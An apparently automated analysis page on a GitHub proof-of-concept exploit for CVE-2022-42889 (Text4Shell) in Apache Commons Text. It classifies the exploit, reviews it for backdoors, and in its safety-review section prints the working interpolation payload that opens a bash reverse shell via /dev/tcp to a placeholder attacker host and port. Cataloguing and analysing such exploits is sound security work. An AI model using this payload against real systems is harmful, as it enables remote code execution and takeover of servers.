Goultarde/CVE-2022-42889-text4shell

GitHubRepository PoCExploit

PoC files

2 files

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

GitHub
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

A Python script that constructs and sends an HTTP request containing a malicious Apache Commons Text interpolation payload (${script:javascript:...}) to trigger remote code execution and establish a reverse shell on a vulnerable target.

Backdoor review

No backdoor observed in reviewed code

The repository contains a Python script (text4shll.py) that exploits CVE-2022-42889 (Text4Shell) by sending a crafted HTTP request with a Java payload to trigger a reverse shell. The script's behavior is consistent with a standard public exploit for this vulnerability. No concealed backdoor, unrelated payload, or operator-directed harm was observed in the reviewed text files.

ClassificationExploit
Model confidence98%
AuthenticationNot required
LanguagesPython
Target softwareApache Commons Text
Attack typesRemote Code ExecutionReverse Shell
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The script actively constructs and delivers a payload designed to execute arbitrary code on a remote system, which is the definition of an exploit. The README explicitly states it is 'designed to exploit the CVE-2022-42889 vulnerability' and 'automates the delivery of a Java-based payload to trigger a reverse shell'.

README.md:5text4shll.py:21-24

Requirements

  • Target application uses a vulnerable version of Apache Commons Text (1.5 through 1.9) and passes untrusted input to the default interpolator.README.md:5
  • Attacker must have a listener ready to receive the reverse shell connection.text4shll.py:22-23

Observed behavior

  • Constructs a Java payload that uses the 'script' StringLookup to execute a bash reverse shell command.text4shll.py:21-24
  • URL-encodes the payload and sends it as an HTTP GET parameter to the specified target.text4shll.py:27-43
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Reverse Shell Payload
${script:javascript:var p=java.lang.Runtime.getRuntime().exec("['bash','-c','bash -c \\'exec bash -i >& /dev/tcp/{lhost}/{lport} 0>&1\\'']")}The script constructs a Java payload that executes a bash reverse shell to an attacker-controlled host and port. This is the intended exploit behavior for CVE-2022-42889.text4shll.py:21-24
Network Connection
http://{target_ip}:{target_port}{base_path}?{parameter}={encoded_payload}The script sends an HTTP GET request to the target server with the encoded payload as a query parameter. This is the delivery mechanism for the exploit.text4shll.py:33-35text4shll.py:43
Review boundaries

What the analysis did not establish

  • Evidence is limited to the two supplied text files; no network traffic, execution logs, or target environment details are provided.
  • The script's effectiveness depends on the target application's specific use of the vulnerable library, which is not verified in the evidence.
  • Only the two text files (README.md and text4shll.py) were reviewed; no binary or non-text files were present.
  • The review is static and does not confirm the script's behavior at runtime or in a network environment.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

1